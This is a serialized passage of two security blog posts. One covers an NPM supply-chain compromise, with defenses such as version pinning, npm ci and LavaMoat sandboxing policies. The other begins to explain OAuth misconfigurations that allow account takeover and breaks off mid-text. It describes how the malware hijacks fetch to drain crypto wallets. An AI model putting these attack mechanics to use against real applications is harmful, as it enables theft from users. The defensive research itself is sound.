ype":30,"value":11770},{"type":24,"tag":930,"props":101940,"children":101941},{"style":1158},[101942],{"type":30,"value":1161},{"type":24,"tag":930,"props":101944,"children":101945},{"style":1023},[101946],{"type":30,"value":101781},{"type":24,"tag":930,"props":101948,"children":101949},{"style":959},[101950],{"type":30,"value":5539},{"type":24,"tag":930,"props":101952,"children":101953},{"class":932,"line":1592},[101954],{"type":24,"tag":930,"props":101955,"children":101956},{"style":959},[101957],{"type":30,"value":15771},{"type":24,"tag":930,"props":101959,"children":101960},{"class":932,"line":1610},[101961,101965,101969,101973,101978],{"type":24,"tag":930,"props":101962,"children":101963},{"style":959},[101964],{"type":30,"value":18882},{"type":24,"tag":930,"props":101966,"children":101967},{"style":1079},[101968],{"type":30,"value":4760},{"type":24,"tag":930,"props":101970,"children":101971},{"style":959},[101972],{"type":30,"value":1087},{"type":24,"tag":930,"props":101974,"children":101975},{"style":1023},[101976],{"type":30,"value":101977},"_0x4b99fd",{"type":24,"tag":930,"props":101979,"children":101980},{"style":959},[101981],{"type":30,"value":101507},{"type":24,"tag":930,"props":101983,"children":101984},{"class":932,"line":1628},[101985],{"type":24,"tag":930,"props":101986,"children":101987},{"style":959},[101988],{"type":30,"value":8984},{"type":24,"tag":930,"props":101990,"children":101991},{"class":932,"line":1637},[101992],{"type":24,"tag":930,"props":101993,"children":101994},{"style":959},[101995],{"type":30,"value":2528},{"type":24,"tag":151,"props":101997,"children":101999},{"id":101998},"impact-of-the-attack",[102000],{"type":30,"value":102001},"Impact of the Attack",{"type":24,"tag":33,"props":102003,"children":102004},{},[102005],{"type":30,"value":102006},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":24,"tag":68,"props":102008,"children":102010},{"id":102009},"why-it-will-happen-again",[102011],{"type":30,"value":102012},"Why It Will Happen Again",{"type":24,"tag":33,"props":102014,"children":102015},{},[102016],{"type":30,"value":102017},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":24,"tag":33,"props":102019,"children":102020},{},[102021],{"type":30,"value":102022},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":24,"tag":68,"props":102024,"children":102026},{"id":102025},"what-developers-can-do",[102027],{"type":30,"value":102028},"What Developers Can Do",{"type":24,"tag":33,"props":102030,"children":102031},{},[102032],{"type":30,"value":102033},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":24,"tag":151,"props":102035,"children":102037},{"id":102036},"_1-version-pinning-in-packagejson",[102038,102040],{"type":30,"value":102039},"1. Version pinning in ",{"type":24,"tag":156,"props":102041,"children":102043},{"className":102042},[],[102044],{"type":30,"value":102045},"package.json",{"type":24,"tag":33,"props":102047,"children":102048},{},[102049],{"type":30,"value":102050},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":24,"tag":33,"props":102052,"children":102053},{},[102054,102056,102062,102064,102069,102071,102076],{"type":30,"value":102055},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":24,"tag":156,"props":102057,"children":102059},{"className":102058},[],[102060],{"type":30,"value":102061},"npm install",{"type":30,"value":102063},". To pin it, just make sure to remove the caret ",{"type":24,"tag":156,"props":102065,"children":102067},{"className":102066},[],[102068],{"type":30,"value":52023},{"type":30,"value":102070}," symbol before the version in ",{"type":24,"tag":156,"props":102072,"children":102074},{"className":102073},[],[102075],{"type":30,"value":102045},{"type":30,"value":476},{"type":24,"tag":920,"props":102078,"children":102080},{"code":102079,"language":37086,"meta":7,"className":37084,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[102081],{"type":24,"tag":156,"props":102082,"children":102083},{"__ignoreMap":7},[102084,102105,102126,102147],{"type":24,"tag":930,"props":102085,"children":102086},{"class":932,"line":933},[102087,102092,102096,102101],{"type":24,"tag":930,"props":102088,"children":102089},{"style":1270},[102090],{"type":30,"value":102091},"\"@react-native-async-storage/async-storage\"",{"type":24,"tag":930,"props":102093,"children":102094},{"style":959},[102095],{"type":30,"value":18434},{"type":24,"tag":930,"props":102097,"children":102098},{"style":1270},[102099],{"type":30,"value":102100},"\"1.23.1\"",{"type":24,"tag":930,"props":102102,"children":102103},{"style":959},[102104],{"type":30,"value":2832},{"type":24,"tag":930,"props":102106,"children":102107},{"class":932,"line":984},[102108,102113,102117,102122],{"type":24,"tag":930,"props":102109,"children":102110},{"style":1270},[102111],{"type":30,"value":102112},"\"@react-native-community/datetimepicker\"",{"type":24,"tag":930,"props":102114,"children":102115},{"style":959},[102116],{"type":30,"value":18434},{"type":24,"tag":930,"props":102118,"children":102119},{"style":1270},[102120],{"type":30,"value":102121},"\"8.3.0\"",{"type":24,"tag":930,"props":102123,"children":102124},{"style":959},[102125],{"type":30,"value":2832},{"type":24,"tag":930,"props":102127,"children":102128},{"class":932,"line":993},[102129,102134,102138,102143],{"type":24,"tag":930,"props":102130,"children":102131},{"style":1270},[102132],{"type":30,"value":102133},"\"@react-native-community/netinfo\"",{"type":24,"tag":930,"props":102135,"children":102136},{"style":959},[102137],{"type":30,"value":18434},{"type":24,"tag":930,"props":102139,"children":102140},{"style":1270},[102141],{"type":30,"value":102142},"\"11.4.1\"",{"type":24,"tag":930,"props":102144,"children":102145},{"style":959},[102146],{"type":30,"value":2832},{"type":24,"tag":930,"props":102148,"children":102149},{"class":932,"line":1057},[102150,102155,102159],{"type":24,"tag":930,"props":102151,"children":102152},{"style":1270},[102153],{"type":30,"value":102154},"\"@react-native-picker/picker\"",{"type":24,"tag":930,"props":102156,"children":102157},{"style":959},[102158],{"type":30,"value":18434},{"type":24,"tag":930,"props":102160,"children":102161},{"style":1270},[102162],{"type":30,"value":102163},"\"2.11.0\"\n",{"type":24,"tag":151,"props":102165,"children":102167},{"id":102166},"_2-use-npm-ci",[102168,102170],{"type":30,"value":102169},"2. Use ",{"type":24,"tag":156,"props":102171,"children":102173},{"className":102172},[],[102174],{"type":30,"value":102175},"npm ci",{"type":24,"tag":33,"props":102177,"children":102178},{},[102179,102184,102186,102192,102194,102199],{"type":24,"tag":156,"props":102180,"children":102182},{"className":102181},[],[102183],{"type":30,"value":102175},{"type":30,"value":102185}," uses the dependency versions from ",{"type":24,"tag":156,"props":102187,"children":102189},{"className":102188},[],[102190],{"type":30,"value":102191},"package-lock.json",{"type":30,"value":102193}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":24,"tag":156,"props":102195,"children":102197},{"className":102196},[],[102198],{"type":30,"value":102061},{"type":30,"value":102200}," when adding a new package or updating an existing one.",{"type":24,"tag":151,"props":102202,"children":102204},{"id":102203},"_3-implement-lavamoat",[102205,102207],{"type":30,"value":102206},"3. Implement ",{"type":24,"tag":37,"props":102208,"children":102211},{"href":102209,"rel":102210},"https://github.com/LavaMoat/LavaMoat/tree/main",[41],[102212],{"type":24,"tag":275,"props":102213,"children":102214},{},[102215],{"type":30,"value":102216},"Lavamoat",{"type":24,"tag":33,"props":102218,"children":102219},{},[102220],{"type":30,"value":102221},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":24,"tag":33,"props":102223,"children":102224},{},[102225],{"type":30,"value":102226},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":24,"tag":920,"props":102228,"children":102230},{"code":102229,"language":37086,"meta":7,"className":37084,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[102231],{"type":24,"tag":156,"props":102232,"children":102233},{"__ignoreMap":7},[102234,102246,102258,102269,102285,102292,102299,102311,102322,102342,102358,102365,102376,102396,102412,102419,102426],{"type":24,"tag":930,"props":102235,"children":102236},{"class":932,"line":933},[102237,102242],{"type":24,"tag":930,"props":102238,"children":102239},{"style":1270},[102240],{"type":30,"value":102241},"\"resources\"",{"type":24,"tag":930,"props":102243,"children":102244},{"style":959},[102245],{"type":30,"value":40110},{"type":24,"tag":930,"props":102247,"children":102248},{"class":932,"line":984},[102249,102254],{"type":24,"tag":930,"props":102250,"children":102251},{"style":1023},[102252],{"type":30,"value":102253},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":24,"tag":930,"props":102255,"children":102256},{"style":959},[102257],{"type":30,"value":40110},{"type":24,"tag":930,"props":102259,"children":102260},{"class":932,"line":993},[102261,102265],{"type":24,"tag":930,"props":102262,"children":102263},{"style":1023},[102264],{"type":30,"value":40118},{"type":24,"tag":930,"props":102266,"children":102267},{"style":959},[102268],{"type":30,"value":40110},{"type":24,"tag":930,"props":102270,"children":102271},{"class":932,"line":1057},[102272,102277,102281],{"type":24,"tag":930,"props":102273,"children":102274},{"style":1023},[102275],{"type":30,"value":102276},"        \"TextEncoder\"",{"type":24,"tag":930,"props":102278,"children":102279},{"style":959},[102280],{"type":30,"value":18434},{"type":24,"tag":930,"props":102282,"children":102283},{"style":937},[102284],{"type":30,"value":40279},{"type":24,"tag":930,"props":102286,"children":102287},{"class":932,"line":1066},[102288],{"type":24,"tag":930,"props":102289,"children":102290},{"style":959},[102291],{"type":30,"value":15771},{"type":24,"tag":930,"props":102293,"children":102294},{"class":932,"line":1075},[102295],{"type":24,"tag":930,"props":102296,"children":102297},{"style":959},[102298],{"type":30,"value":28473},{"type":24,"tag":930,"props":102300,"children":102301},{"class":932,"line":1122},[102302,102307],{"type":24,"tag":930,"props":102303,"children":102304},{"style":1023},[102305],{"type":30,"value":102306},"    \"@ethereumjs/util\"",{"type":24,"tag":930,"props":102308,"children":102309},{"style":959},[102310],{"type":30,"value":40110},{"type":24,"tag":930,"props":102312,"children":102313},{"class":932,"line":1131},[102314,102318],{"type":24,"tag":930,"props":102315,"children":102316},{"style":1023},[102317],{"type":30,"value":40118},{"type":24,"tag":930,"props":102319,"children":102320},{"style":959},[102321],{"type":30,"value":40110},{"type":24,"tag":930,"props":102323,"children":102324},{"class":932,"line":1144},[102325,102330,102334,102338],{"type":24,"tag":930,"props":102326,"children":102327},{"style":1023},[102328],{"type":30,"value":102329},"        \"console.warn\"",{"type":24,"tag":930,"props":102331,"children":102332},{"style":959},[102333],{"type":30,"value":18434},{"type":24,"tag":930,"props":102335,"children":102336},{"style":937},[102337],{"type":30,"value":7110},{"type":24,"tag":930,"props":102339,"children":102340},{"style":959},[102341],{"type":30,"value":2832},{"type":24,"tag":930,"props":102343,"children":102344},{"class":932,"line":1169},[102345,102350,102354],{"type":24,"tag":930,"props":102346,"children":102347},{"style":1023},[102348],{"type":30,"value":102349},"        \"fetch\"",{"type":24,"tag":930,"props":102351,"children":102352},{"style":959},[102353],{"type":30,"value":18434},{"type":24,"tag":930,"props":102355,"children":102356},{"style":937},[102357],{"type":30,"value":40279},{"type":24,"tag":930,"props":102359,"children":102360},{"class":932,"line":1191},[102361],{"type":24,"tag":930,"props":102362,"children":102363},{"style":959},[102364],{"type":30,"value":40287},{"type":24,"tag":930,"props":102366,"children":102367},{"class":932,"line":1223},[102368,102372],{"type":24,"tag":930,"props":102369,"children":102370},{"style":1023},[102371],{"type":30,"value":40295},{"type":24,"tag":930,"props":102373,"children":102374},{"style":959},[102375],{"type":30,"value":40110},{"type":24,"tag":930,"props":102377,"children":102378},{"class":932,"line":1281},[102379,102384,102388,102392],{"type":24,"tag":930,"props":102380,"children":102381},{"style":1023},[102382],{"type":30,"value":102383},"        \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":24,"tag":930,"props":102385,"children":102386},{"style":959},[102387],{"type":30,"value":18434},{"type":24,"tag":930,"props":102389,"children":102390},{"style":937},[102391],{"type":30,"value":7110},{"type":24,"tag":930,"props":102393,"children":102394},{"style":959},[102395],{"type":30,"value":2832},{"type":24,"tag":930,"props":102397,"children":102398},{"class":932,"line":1313},[102399,102404,102408],{"type":24,"tag":930,"props":102400,"children":102401},{"style":1023},[102402],{"type":30,"value":102403},"        \"@ethereumjs/util>ethereum-cryptography\"",{"type":24,"tag":930,"props":102405,"children":102406},{"style":959},[102407],{"type":30,"value":18434},{"type":24,"tag":930,"props":102409,"children":102410},{"style":937},[102411],{"type":30,"value":40279},{"type":24,"tag":930,"props":102413,"children":102414},{"class":932,"line":1335},[102415],{"type":24,"tag":930,"props":102416,"children":102417},{"style":959},[102418],{"type":30,"value":15771},{"type":24,"tag":930,"props":102420,"children":102421},{"class":932,"line":1376},[102422],{"type":24,"tag":930,"props":102423,"children":102424},{"style":959},[102425],{"type":30,"value":1840},{"type":24,"tag":930,"props":102427,"children":102428},{"class":932,"line":1418},[102429],{"type":24,"tag":930,"props":102430,"children":102431},{"style":959},[102432],{"type":30,"value":2528},{"type":24,"tag":33,"props":102434,"children":102435},{},[102436,102438,102444,102446,102452,102453,102458,102460,102466,102467,102473],{"type":30,"value":102437},"In this example, it restricts the ",{"type":24,"tag":156,"props":102439,"children":102441},{"className":102440},[],[102442],{"type":30,"value":102443},"@ethereumjs/util",{"type":30,"value":102445}," package to use only ",{"type":24,"tag":156,"props":102447,"children":102449},{"className":102448},[],[102450],{"type":30,"value":102451},"console.warn",{"type":30,"value":211},{"type":24,"tag":156,"props":102454,"children":102456},{"className":102455},[],[102457],{"type":30,"value":37183},{"type":30,"value":102459}," functions, and to include only ",{"type":24,"tag":156,"props":102461,"children":102463},{"className":102462},[],[102464],{"type":30,"value":102465},"@ethereumjs/rlp",{"type":30,"value":211},{"type":24,"tag":156,"props":102468,"children":102470},{"className":102469},[],[102471],{"type":30,"value":102472},"ethereum-cryptography",{"type":30,"value":102474}," packages.",{"type":24,"tag":33,"props":102476,"children":102477},{},[102478],{"type":30,"value":102479},"The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.",{"type":24,"tag":33,"props":102481,"children":102482},{},[102483,102485,102491],{"type":30,"value":102484},"Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See ",{"type":24,"tag":37,"props":102486,"children":102489},{"href":102487,"rel":102488},"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze",[41],[102490],{"type":30,"value":40465},{"type":30,"value":436},{"type":24,"tag":151,"props":102493,"children":102495},{"id":102494},"lavamoat-vs-qix-malware",[102496],{"type":30,"value":102497},"Lavamoat vs Qix Malware",{"type":24,"tag":33,"props":102499,"children":102500},{},[102501,102503,102508],{"type":30,"value":102502},"If a dApp were compromised with the Qix malware (say it used ",{"type":24,"tag":156,"props":102504,"children":102506},{"className":102505},[],[102507],{"type":30,"value":100348},{"type":30,"value":102509},"), it would need to perform the following actions to drain funds from a wallet:",{"type":24,"tag":478,"props":102511,"children":102512},{},[102513,102525,102536,102547],{"type":24,"tag":100,"props":102514,"children":102515},{},[102516,102518,102523],{"type":30,"value":102517},"Replace ",{"type":24,"tag":156,"props":102519,"children":102521},{"className":102520},[],[102522],{"type":30,"value":37183},{"type":30,"value":102524}," function to a custom one",{"type":24,"tag":100,"props":102526,"children":102527},{},[102528,102530],{"type":30,"value":102529},"Access ",{"type":24,"tag":156,"props":102531,"children":102533},{"className":102532},[],[102534],{"type":30,"value":102535},"window.ethereum",{"type":24,"tag":100,"props":102537,"children":102538},{},[102539,102541,102546],{"type":30,"value":102540},"Call original ",{"type":24,"tag":156,"props":102542,"children":102544},{"className":102543},[],[102545],{"type":30,"value":37183},{"type":30,"value":41302},{"type":24,"tag":100,"props":102548,"children":102549},{},[102550],{"type":30,"value":102551},"Plus other actions not relevant here",{"type":24,"tag":33,"props":102553,"children":102554},{},[102555,102557,102563],{"type":30,"value":102556},"If the dApp is using Lavamoat with a generated policy for ",{"type":24,"tag":156,"props":102558,"children":102560},{"className":102559},[],[102561],{"type":30,"value":102562},"chalk 5.6.0",{"type":30,"value":102564}," (non-malicious version) it would look like this:",{"type":24,"tag":920,"props":102566,"children":102568},{"code":102567,"language":37086,"meta":7,"className":37084,"style":7},"\"chalk\": {\n      \"globals\": {\n        \"navigator.userAgent\": true,\n        \"navigator.userAgentData\": true\n      }\n    },\n",[102569],{"type":24,"tag":156,"props":102570,"children":102571},{"__ignoreMap":7},[102572,102584,102595,102615,102631,102638],{"type":24,"tag":930,"props":102573,"children":102574},{"class":932,"line":933},[102575,102580],{"type":24,"tag":930,"props":102576,"children":102577},{"style":1270},[102578],{"type":30,"value":102579},"\"chalk\"",{"type":24,"tag":930,"props":102581,"children":102582},{"style":959},[102583],{"type":30,"value":40110},{"type":24,"tag":930,"props":102585,"children":102586},{"class":932,"line":984},[102587,102591],{"type":24,"tag":930,"props":102588,"children":102589},{"style":1023},[102590],{"type":30,"value":40118},{"type":24,"tag":930,"props":102592,"children":102593},{"style":959},[102594],{"type":30,"value":40110},{"type":24,"tag":930,"props":102596,"children":102597},{"class":932,"line":993},[102598,102603,102607,102611],{"type":24,"tag":930,"props":102599,"children":102600},{"style":1023},[102601],{"type":30,"value":102602},"        \"navigator.userAgent\"",{"type":24,"tag":930,"props":102604,"children":102605},{"style":959},[102606],{"type":30,"value":18434},{"type":24,"tag":930,"props":102608,"children":102609},{"style":937},[102610],{"type":30,"value":7110},{"type":24,"tag":930,"props":102612,"children":102613},{"style":959},[102614],{"type":30,"value":2832},{"type":24,"tag":930,"props":102616,"children":102617},{"class":932,"line":1057},[102618,102623,102627],{"type":24,"tag":930,"props":102619,"children":102620},{"style":1023},[102621],{"type":30,"value":102622},"        \"navigator.userAgentData\"",{"type":24,"tag":930,"props":102624,"children":102625},{"style":959},[102626],{"type":30,"value":18434},{"type":24,"tag":930,"props":102628,"children":102629},{"style":937},[102630],{"type":30,"value":40279},{"type":24,"tag":930,"props":102632,"children":102633},{"class":932,"line":1066},[102634],{"type":24,"tag":930,"props":102635,"children":102636},{"style":959},[102637],{"type":30,"value":15771},{"type":24,"tag":930,"props":102639,"children":102640},{"class":932,"line":1075},[102641],{"type":24,"tag":930,"props":102642,"children":102643},{"style":959},[102644],{"type":30,"value":28473},{"type":24,"tag":33,"props":102646,"children":102647},{},[102648,102650,102656],{"type":30,"value":102649},"That means that the chalk dependency can only access these two global attributes from ",{"type":24,"tag":156,"props":102651,"children":102653},{"className":102652},[],[102654],{"type":30,"value":102655},"navigator",{"type":30,"value":436},{"type":24,"tag":33,"props":102658,"children":102659},{},[102660,102662,102668],{"type":30,"value":102661},"When the compromised dApp would execute the malicious payload of ",{"type":24,"tag":156,"props":102663,"children":102665},{"className":102664},[],[102666],{"type":30,"value":102667},"chalk v5.6.1",{"type":30,"value":102669}," it would fail due to insufficient permissions:",{"type":24,"tag":33,"props":102671,"children":102672},{},[102673],{"type":24,"tag":140,"props":102674,"children":102676},{"alt":142,"src":102675},"/posts/supply-chain-attcks/error.png",[],{"type":24,"tag":33,"props":102678,"children":102679},{},[102680,102682,102687],{"type":30,"value":102681},"This error shows that the malware failed since it cannot redefine ",{"type":24,"tag":156,"props":102683,"children":102685},{"className":102684},[],[102686],{"type":30,"value":37183},{"type":30,"value":28560},{"type":24,"tag":920,"props":102689,"children":102691},{"code":102690},"TypeError#1: Cannot define property fetch, object is not extensible\n",[102692],{"type":24,"tag":156,"props":102693,"children":102694},{"__ignoreMap":7},[102695],{"type":30,"value":102690},{"type":24,"tag":68,"props":102697,"children":102699},{"id":102698},"lavamoat-in-practice",[102700],{"type":30,"value":102701},"Lavamoat In Practice",{"type":24,"tag":33,"props":102703,"children":102704},{},[102705,102707,102714],{"type":30,"value":102706},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":24,"tag":37,"props":102708,"children":102711},{"href":102709,"rel":102710},"https://osec.io/reports/lavamoat_audit_final.pdf",[41],[102712],{"type":30,"value":102713},"see the audit report",{"type":30,"value":2716},{"type":24,"tag":33,"props":102716,"children":102717},{},[102718],{"type":30,"value":102719},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":24,"tag":68,"props":102721,"children":102722},{"id":78879},[102723],{"type":30,"value":78882},{"type":24,"tag":33,"props":102725,"children":102726},{},[102727],{"type":30,"value":102728},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":24,"tag":33,"props":102730,"children":102731},{},[102732,102734,102739],{"type":30,"value":102733},"Version pinning and ",{"type":24,"tag":156,"props":102735,"children":102737},{"className":102736},[],[102738],{"type":30,"value":102175},{"type":30,"value":102740}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":24,"tag":5957,"props":102742,"children":102743},{},[102744],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":102746},[102747,102750,102751,102760,102761],{"id":100363,"depth":984,"text":100366,"children":102748},[102749],{"id":101998,"depth":993,"text":102001},{"id":102009,"depth":984,"text":102012},{"id":102025,"depth":984,"text":102028,"children":102752},[102753,102755,102757,102759],{"id":102036,"depth":993,"text":102754},"1. Version pinning in package.json",{"id":102166,"depth":993,"text":102756},"2. Use npm ci",{"id":102203,"depth":993,"text":102758},"3. Implement Lavamoat",{"id":102494,"depth":993,"text":102497},{"id":102698,"depth":984,"text":102701},{"id":78879,"depth":984,"text":78882},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":102766,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":102767,"description":102768,"date":102769,"author":102770,"image":102771,"isFeatured":16,"onBlogPage":16,"tags":102773,"body":102776,"_type":5983,"_id":105102,"_source":5985,"_file":105103,"_stem":105104,"_extension":5988},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[34293,34292],{"src":102772,"width":14,"height":15},"/posts/oauth-misconfigurations/title.png",[102774,102775],"oAuth","exchanges",{"type":21,"children":102777,"toc":105089},[102778,102784,102789,102795,102815,102821,102826,102839,102844,102852,102866,102875,102884,102898,102906,102917,102977,102983,102995,103044,103050,103055,103068,103075,103086,103106,103125,103146,103152,103165,103170,103176,103195,103820,103825,103838,104694,104699,104704,104710,104715,104721,104726,104739,104779,104785,104798,104803,104836,104841,104846,104871,104876,104888,105045,105050,105054,105066,105071,105075,105080,105085],{"type":24,"tag":68,"props":102779,"children":102781},{"id":102780},"exploiting-oauth",[102782],{"type":30,"value":102783},"Exploiting OAuth",{"type":24,"tag":33,"props":102785,"children":102786},{},[102787],{"type":30,"value":102788},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":24,"tag":151,"props":102790,"children":102792},{"id":102791},"google-authentication-flows",[102793],{"type":30,"value":102794},"Google Authentication Flows",{"type":24,"tag":33,"props":102796,"children":102797},{},[102798,102800,102806,102808,102813],{"type":30,"value":102799},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":24,"tag":156,"props":102801,"children":102803},{"className":102802},[],[102804],{"type":30,"value":102805},"postMessage",{"type":30,"value":102807}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":24,"tag":156,"props":102809,"children":102811},{"className":102810},[],[102812],{"type":30,"value":72850},{"type":30,"value":102814}," to send the token back to the RP.",{"type":24,"tag":21995,"props":102816,"children":102818},{"id":102817},"gsi-new-flow",[102819],{"type":30,"value":102820},"GSI (New Flow)",{"type":24,"tag":33,"props":102822,"children":102823},{},[102824],{"type":30,"value":102825},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":24,"tag":96,"props":102827,"children":102828},{},[102829,102834],{"type":24,"tag":100,"props":102830,"children":102831},{},[102832],{"type":30,"value":102833},"Using FedCM API",{"type":24,"tag":100,"props":102835,"children":102836},{},[102837],{"type":30,"value":102838},"Without using FedCM API",{"type":24,"tag":33,"props":102840,"children":102841},{},[102842],{"type":30,"value":102843},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":24,"tag":33,"props":102845,"children":102846},{},[102847],{"type":24,"tag":275,"props":102848,"children":102849},{},[102850],{"type":30,"value":102851},"FedCM Method",{"type":24,"tag":33,"props":102853,"children":102854},{},[102855,102857,102864],{"type":30,"value":102856},"The FedCM method basically follows this ",{"type":24,"tag":37,"props":102858,"children":102861},{"href":102859,"rel":102860},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[41],[102862],{"type":30,"value":102863},"user experience",{"type":30,"value":102865},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":24,"tag":33,"props":102867,"children":102868},{},[102869,102871],{"type":30,"value":102870},"The normal flow, clicking the \"sign in\" button:\n",{"type":24,"tag":140,"props":102872,"children":102874},{"alt":142,"src":102873},"/posts/oauth-misconfigurations/image1.png",[],{"type":24,"tag":33,"props":102876,"children":102877},{},[102878,102880],{"type":30,"value":102879},"One-Tap popup shown when you open the page:\n",{"type":24,"tag":140,"props":102881,"children":102883},{"alt":142,"src":102882},"/posts/oauth-misconfigurations/image2.png",[],{"type":24,"tag":33,"props":102885,"children":102886},{},[102887,102889,102896],{"type":30,"value":102888},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":24,"tag":37,"props":102890,"children":102893},{"href":102891,"rel":102892},"https://github.com/w3c-fedid/FedCM/issues/429",[41],[102894],{"type":30,"value":102895},"FedCM auto-reauthentication",{"type":30,"value":102897},", which has certain preconditions that must be met.",{"type":24,"tag":33,"props":102899,"children":102900},{},[102901],{"type":24,"tag":275,"props":102902,"children":102903},{},[102904],{"type":30,"value":102905},"Non-FedCM Method",{"type":24,"tag":33,"props":102907,"children":102908},{},[102909,102911,102916],{"type":30,"value":102910},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":24,"tag":156,"props":102912,"children":102914},{"className":102913},[],[102915],{"type":30,"value":102805},{"type":30,"value":476},{"type":24,"tag":478,"props":102918,"children":102919},{},[102920,102925,102949,102954,102965],{"type":24,"tag":100,"props":102921,"children":102922},{},[102923],{"type":30,"value":102924},"The user clicks the sign in button",{"type":24,"tag":100,"props":102926,"children":102927},{},[102928,102930,102936,102938,102943,102944],{"type":30,"value":102929},"RP opens a popup/iframe to ",{"type":24,"tag":37,"props":102931,"children":102934},{"href":102932,"rel":102933},"https://accounts.google.com/o/oauth2/v2/auth",[41],[102935],{"type":30,"value":102932},{"type":30,"value":102937}," with some important parameters like ",{"type":24,"tag":156,"props":102939,"children":102941},{"className":102940},[],[102942],{"type":30,"value":72682},{"type":30,"value":211},{"type":24,"tag":156,"props":102945,"children":102947},{"className":102946},[],[102948],{"type":30,"value":43223},{"type":24,"tag":100,"props":102950,"children":102951},{},[102952],{"type":30,"value":102953},"The user clicks the \"Continue\" button to authorize authentication",{"type":24,"tag":100,"props":102955,"children":102956},{},[102957,102959],{"type":30,"value":102958},"They get redirected to ",{"type":24,"tag":37,"props":102960,"children":102963},{"href":102961,"rel":102962},"https://accounts.google.com/gsi/transform",[41],[102964],{"type":30,"value":102961},{"type":24,"tag":100,"props":102966,"children":102967},{},[102968,102970,102975],{"type":30,"value":102969},"/gsi/transform sends the token back to the RP via ",{"type":24,"tag":156,"props":102971,"children":102973},{"className":102972},[],[102974],{"type":30,"value":102805},{"type":30,"value":102976}," (after some SYN/ACK messages)",{"type":24,"tag":21995,"props":102978,"children":102980},{"id":102979},"oauth-20-old-flow",[102981],{"type":30,"value":102982},"OAuth 2.0 Old Flow",{"type":24,"tag":33,"props":102984,"children":102985},{},[102986,102988,102993],{"type":30,"value":102987},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":24,"tag":156,"props":102989,"children":102991},{"className":102990},[],[102992],{"type":30,"value":72850},{"type":30,"value":102994}," provided in the URL and validated by a whitelist 